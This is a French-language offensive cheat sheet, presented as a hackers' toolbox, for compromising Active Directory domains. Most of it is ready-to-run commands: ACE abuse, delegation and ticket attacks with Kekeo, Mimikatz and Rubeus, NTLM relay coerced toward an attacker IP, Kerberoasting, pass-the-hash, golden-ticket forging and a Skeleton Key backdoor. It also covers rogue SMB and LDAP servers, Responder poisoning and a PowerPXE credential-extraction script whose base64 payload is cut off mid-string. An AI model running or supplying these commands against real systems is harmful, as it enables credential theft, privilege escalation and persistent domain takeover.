Exploitation

La caisse à outils des hackers !

Active Directory

Active Directory

[Exploitation/AD] Cheat-sheet

Introduction

Quelques techniques d'exploitation de vulnérabilité sur l'Active Directory.

Techniques

Mauvaise configuration ACE

Les ACE pour Access Control Entries sont des propriétés propres aux objets du domaines.

Si elles sont mal configurées, elles peuvent aboutir à une exploitation.

Par exemple, si on possède l'ACE AddMember on peut ajouter un utilisateur dans un groupe (y compris soit-même).

On peut donc se mettre dans un groupe à privilège élevé :

Add-ADGroupMember "IT Support" -Members "<USERNAME>"

Un autre ACE exploitable est ForceChangePassword qui permet de changer le mot de passe d'un utilisateur sans connaître son mot de passe :

$Password = ConvertTo-SecureString "<NEW_PASSWD>" -AsPlainText -Force
Set-ADAccountPassword -Identity "<USERNAME>" -Reset -NewPassword $Password 

Constrained Delegation

Les délégations contraintes permettent à des services d'utiliser les droits d'autres d'objet du domaine pour accéder à un service.

Avec PowerSploit, il est possible d'énumérer les délégations :

Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth

Avec l'outil Kekeo, on peut demander de générer un ticket TGT avec notre compte de service compromis :

kekeo# tgt::ask /user:<SVC_USERNAME> /domain:<DOMAIN_FQDN> /password:<PASSWD>

Ensuite avec ce TGT, on peut demander au serveur de générer des TGS pour un autre service :

kekeo# tgs::s4u /tgt:<TGT_FILE>.kirbi /user:<USER> /service:<OTHER_SVC>/<TARGET_SRV>

Une fois les TGS générés, on peut utiliser Mimikatz pour faire du Pass-The-Ticket :

mimikatz # privilege::debug
mimikatz # kerberos::ptt <TGS_FILE.kirbi>

Une fois les tickets injectés, on peut utiliser nos nouveaux droits pour créer une session WinRM et pivoter vers une autre machine :

New-PSSession -ComputerName <TARGET_DN>
Enter-PSSession -ComputerName <TARGET_DN>

Relai d'authentification

Grâce à certaines vulnérabilités, il est possible de forcer un serveur distant à s'authentifier à un serveur spécifique notamment grâce au service spooler d'impression.

Depuis le premier poste compromis, on peut essayer de joindre le service spooler du poste cible :

GWMI Win32_Printer -Computer <TARGET_DN>

On peut aussi voir si le SMB signing n'est pas forcée :

nmap --script=smb2-security-mode -p445 <TARGET_DN>

Grâce à la suite Impacket, on peut mettre en place un serveur relai :

python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"<TARGET_IP>" -debug

On peut utiliser un SpoolSample pour déclencher une authentification :

SpoolSample.exe <TARGET_DN> "<ATTACKER_IP>"

En revenant sur votre relai, vous devriez avoir récupérer les hashs des utilisateurs de la cible. Vous n'aurez plus qu'à faire une attaque pass-the-hash ou lancer une attaque brute force.

Vol d'identité avec certificat

Si vous avez en votre possession un certificat au format pfx avec son mot de passe, vous pouvez l'utiliser pour générer un ticket TGT.

Avec Rubeus :

Rubeus.exe asktgt /user:<USER> /enctype:aes256 /certificate:<PATH_TO_CRT> /password:<CRT_PASSWORD> /outfile:<OUTPUT_TGT> /domain:<DOMAIN_FQDN> /dc:<DC_IP>

Une fois le ticket générer avec Rubeus vous pouvez l'injecter avec Mimikatz.

Active Directory

[Exploitation/AD] Kerberos

Introduction

Les vulnérabilités du protocole Kerberos permettent d'attaquer un domaine Active Directory afin de le compromettre.

image.png

Installation des outils

Suite Impacket

git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket && pip3 install -r /opt/impacket/requirements.txt && cd /opt/impacket/ && python3 ./setup.py install

Rubeus

Télécharger le binaire depuis le github officiel du projet :

Ressources

Attaques et techniques

ASREPRoasting

On peut procéder avec GetNPUsers pour essayer de récupérer le hash NTML d'un utilisateur :

python GetNPUsers.py -dc-ip <DC_IP> <AD_NAME>/<USERNAME>

Ou avec Rubeus si vous êtes déjà sur une machine du domaine :

Rubeus.exe asreproast

Si l'attaque réussie, le hash sera affiché à l'écran.

On peut casser ce hash avec hashcat par exemple :

hashcat --hash-type 18200 --attack-mode 0 <HASH_FILE> <PASSWORD_LIST>

Connexion partage Samba

smbclient -U <USERNAME> -L "\\<IP>"
smbclient -U <USERNAME> "\\\<IP>\<SHARE>"

Récupération des hashs lié à un compte

L'outil secretsdump de la suite impacket permet de récupérer tous les hashs des mots de passe du compte (ce qui est pratique notamment pour le compte backup) :

python secretsdump.py <AD_NAME>/<USERNAME>:<PASSWORD>@<DC_IP>

Générer un TGT grâce au hash de l'utilisateur

Cette technique est très efficace lorsqu'elle est combinée avec secretsdump :

getTGT.py -hashes <LM_HASH:NT_HASH> <DOMAIN>/<USER>:<PASSWORD>@<IP>

Le jeton TGT sera sauvegardée sur le serveur au format ccache et utilisable avec smbclient avec l'option -k . Il faudra au préalable utiliser la commande export KRB5CCNAME=<USER>@<FQDN.ccache> .

PassTheHash

evil-winrm -i <DC_IP> -u <USER> -H <HASH>
python wmiexec.py <AD_NAME>/<USERNAME>@<DC_IP> -hashes <HASH>
msfconsole

use exploit/windows/smb/psexec
set RHOSTS <IP>
set SMBPass <LM:NTLM>
set SMBUser <Username>
run
sekurlsa::pth /user:<USER> /domain:<DOMAIN_FQDN> /ntlm:<NTLM_HASH>
smbclient.py -hashes <LM_HASH:NT_HASH> <DOMAIN>/<USER>:<PASSWORD>@<IP>

Pass-the-key

Dans le cas où vous auriez récupérer la clé d'authentification d'un compte utilisateur, vous pourriez l'utiliser de manière à pivoter et utiliser ses droits :

mimikatz "privilege::debug" "sekurlsa::ekeys"
mimikatz "privilege::debug" "sekurlsa::pth /user:<USER> /domain:<FQDN_DOMAIN> /aes256:<KEY>"

Une fois que les identifiants de session sont chargés, vous pouvez pivoter sur un autre poste en utilisant cette commande :

winrs.exe -r:<IP|DOMAIN_NAME> cmd

Vous pouvez aussi utiliser PsExec mais winrs est présent par défaut.

Kerberoasting

Cette technique requiert un premier accès au domaine et consiste à récupérer le hash d'un compte de service afin d'essayer de le déchiffrer et ainsi pouvoir usurper l'identité du compte de service.

Une fois connecté dans le shell du compte de l'accès initial, on peut lancer une attaque kerberoasting avec Rubeus :

Rubeus.exe kerberoast /outfile:hashes.txt

Tous les comptes de services seront ciblés si on ne spécifie pas l'option /user .

Ou alors avec le script GetUserSPNs de la suite Impacket :

sudo python3 GetUserSPNs.py controller.local/Machine1:<PASSWORD> -dc-ip <MACHINE_IP> -request

Parfois vous obtiendrez une erreur de type KRB_AP_ERR_SKEW qui veut dire que votre horloge n'est pas synchronisée avec l'AD distant, pour corriger cela, ouvrez un deuxième shell et lancez la commande suivante en parallèle de la commande précédente :

while true; do sudo ntpdate <DC_IP>; sleep 1; done

On peut ensuite essayer de casser le hash avec hashcat :

hashcat -m 13100 -a 0 <HASH_FILE> <WORDLIST>

Pass-the-ticket

Cette technique permet de récupérer tous les tickets TGT contenus dans la base LSASS, c'est à dire tous les tickets TGT qui ont été générés sur le poste local pour se connecter à des comptes utilisateurs.

Cela peut servir pour faire du pivoting ou même une escalade de privilège si un administrateur s'est connecté sur le poste.

Voici comment collecter l'ensemble des tickets TGT de la base LSASS avec Mimikatz :

privilege::debug
sekurlsa::tickets /export

On peut ensuite injecter un de ces ticket TGT :

kerberos::ptt <TGT_FILE>

On possède désormais les droits attribués à ce ticket.

Afficher les tickets et les clés chargés localement

La commande klist permet d'afficher les tickets chargés dans le système :

klist

Attaques par silver et golden tickets

Le silver ticket permet de créer un ticket TGS d'un service spécifique tandis que le golden ticket permet de créer un ticket TGS du service krbtgt.

Ce dernier est le compte de service du KDC et peut donc générer n'importe quel ticket de service, c'est le jackpot.

Voici comment forger son propre ticket (silver ou golden) avec Mimikatz :

kerberos::golden /user:Administrator /domain:controller.local /sid:<SID> /krbtgt:<TGT_FILE> /id:<ID>
ticketer.py -nthash <NT_HASH_KRBTGT> -domain-sid <DOMAIN_SID> -domain <FQDN> baduser

Le compte baduser est un compte inutilisé du domaine.

Skeleton Key

Afin de mettre une backdoor sur le KDC, mimikatz met à disposition l'outil Skeleton qui permet de se connecter à n'importe quel utilisateur du domaine avec le mot de passe "mimikatz" sans changer le mot de passe des utilisateurs :

misc::skeleton

Puis exécutez la commande suivante dans le shell :

net use \\<IP>\<SHARE> user:Administrator mimikatz

Active Directory

[Exploitation/AD] Initial Access

Introduction

Les techniques pour obtenir un accès initial au domaine ne manquent pas avec Active Directory.

Nous étudierons quelques techniques dans cette fiche.

Techniques

Fake samba server

Une des techniques consite à lancer un faux serveur Samba et attendre qu'un utilisateur se connecte dessus d'une manière ou d'une autre :

Lancez la console Metasploit :

msfconsole

Puis sélectionnez l'auxiliaire suivant :

use auxiliary/server/capture/smb

Et sélectionnez le fichier de sortie où les hashs seront enregistrés :

set johnpwfile <PATH>

Puis lancez le serveur :

run

Lorsqu'un utilisateur se connectera à votre partage, son hash NTLM sera affiché à l'écran et enregistré dans le fichier spécifié.

LDAP Pass-back attack

Cette attaque part du principe que vous ayez accès à une application capable d'établir des connexions LDAP pour authentifier les utilisateurs.

Par exemple, il peut s'agir d'un interface web de gestion d'imprimante que vous auriez compromis.

Si un combo identifiant/mot de passe est sauvegardé dans l'application mais que vous en avez pas l'accès, vous allez pouvoir mettre en place un serveur LDAP malveillant et faire pointer l'application dessus lors de l'authentification pour récupérer les identifiants.

Tout d'abord installez un serveur LDAP :

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

Il vous faut ensuite configurer le serveur LDAP :

sudo dpkg-reconfigure -p low slapd

image.png

Le nom du domaine DNS va vous être demandé (mettre celui que vous souhaitez compromettre) :

image.png

Le saisir de nouveau :

image.png

Sélectionnez MDB comme base de donnée :

image.png

image.png

image.png

Il faut ensuite descendre la version du protocole d'authentification LDAP. Pour cela on doit créer un fichier de configuration olcSaslSecProps.ldif :

#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

 Puis on applique cette configuration :

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

On peut ensuite se mettre en écoute avec tcpdump pour intercepter le mot de passe lors de la prochaine requête :

sudo tcpdump -SX -i breachad tcp port 389

Capture des challenges NTLM

Grâce à l'outil Responder, on va pouvoir récupérer le hash NTLM des hôtes sur le réseau en empoisonnant le cache LLMNR :

sudo responder -I <IFACE>

Vous serez averti si l'attaque réussie :

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash     : <Service Account Username>::ZA:<NTLMv2-SSP Hash>

Récupération de mot de passe dans l'image MDT

Les images MDT peuvent contenir des informations d'identifications précieuses et il est possible de les récupérer si vous êtes sur le même réseau local.

Pour cela, nous allons utiliser une machine Windows et commencer par identifier l'adresse IP du serveur MDT.

Ensuite, il faut récupérer l'image .bcd qui nous intéresse grâce au protocole TFTP (utilisé par MDT) :

tftp -i <MDT_IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd

Ensuite, saisissez le script suivant dans un fichier .ps1 :

PowerPXE.ps1

 

    ##########################
    ## 
    ## Author: Remi ESCOURROU @remiescourrou
    ## Name : PowerPXE
    ## Github : https://github.com/wavestone-cdt/powerpxe
    ## License : MIT    
    ## 
    ##########################


# Find and extract credentials from PXE server
function Get-PXEcreds {

    Param(
        [String]$InterfaceAlias = "Ethernet"
    )

    Add-Type -AssemblyName System.DirectoryServices.AccountManagement

    $PxeInfo = Find-BcdFile -InterfaceAlias $InterfaceAlias
    
    $BCDfile =  ($PxeInfo.Options | Where-Object {$_.OptionCode -eq "252" }).OptionValue
    $PXEadress = $PXEInfo.SIAddr
    $BCDoutput = "conf.bcd"
    
    $BCDfileclean = $BCDfile.Substring(0,$BCDfile.Length-1)
    
    Import-TFTP
    Download-TFTP -tftpserver $PXEadress -tftpfile $BCDfileclean -tftpoutput $BCDoutput

    $WimFiles = Get-WimFile -bcdFile $BCDoutput
    
    Foreach ($WimFile in $WimFiles) {
        $WimOutput = Split-Path $WimFile -Leaf
        Download-TFTP -tftpserver $PXEadress -tftpfile $WimFile -tftpoutput $WimOutput
        Get-FindCredentials -WimFile $WimOutput
    }

}

# Import TFTP.NET
Function Import-TFTP {

    ##########################
    ## 
    ## Auhtor : Valks
    ## Name : TFTP.NET
    ## Github : https://github.com/Valks/tftp.net
    ## License : Microsoft Public License
    ## 
    ##########################
    
    
$EncodedCompressedFile = @'
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